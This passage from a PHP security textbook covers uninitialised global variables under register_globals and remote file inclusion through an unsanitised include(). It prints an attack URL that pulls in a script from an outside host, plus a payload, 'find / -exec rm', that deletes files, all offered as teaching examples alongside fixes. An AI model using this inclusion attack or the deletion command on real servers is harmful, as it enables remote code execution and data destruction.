CHAPTER 5 – Global Variables

One basic mistake is not initializing global vari- ables properly. Setting the php.ini directive 'register_globals' to Off (the default since PHP 4.2) protects against this mistake, but you still need to watch for the problem. Your application might be used by other users who have register_globals set to On. Let's illustrate what can happen if you don't initialize your variables with a basic example: <?php session_start(); /* $admin is a session variable set earlier by an authentication * script */ if (!$admin) { do_foo(); } else { do_admin_task(); } ?> Although this looks like a simple thing, it can be overlooked in more com- plex scripts. In our example, not much harm is possible. The only thing that an attacker could do is use your web application with administrator rights. Far more severe problems can arise when you dynamically include files with the include() or require() functions in PHP. Consider the following (simplified) example: <?php include $module. '.php'; ?> This script makes it possible for an attacker to execute arbitrary PHP code on your server, by simply appending ?module=http://example.com/evil- script to the URL in the browser. When PHP receives this URL, it sets $module equal to http://example.com/evilscript.php. When PHP executes the include() function, it tries to include the evilscript.php from example.com (which should not parse it, of course) and execute the PHP code in evilscript.php. evilscript.php might contain <?php 'find / -exec rm "{}" ";"'; ?>, code that would remove all files accessible by the web server. The first of these exploits can be solved by using $_SESSION['admin'] or setting the register_globals php.ini setting to Off. The second can be solved by checking whether the file exists on the local machine before including it, as in the following code: <?php if (file_exists($module. '.php')) { include $module. '.php'; } ?>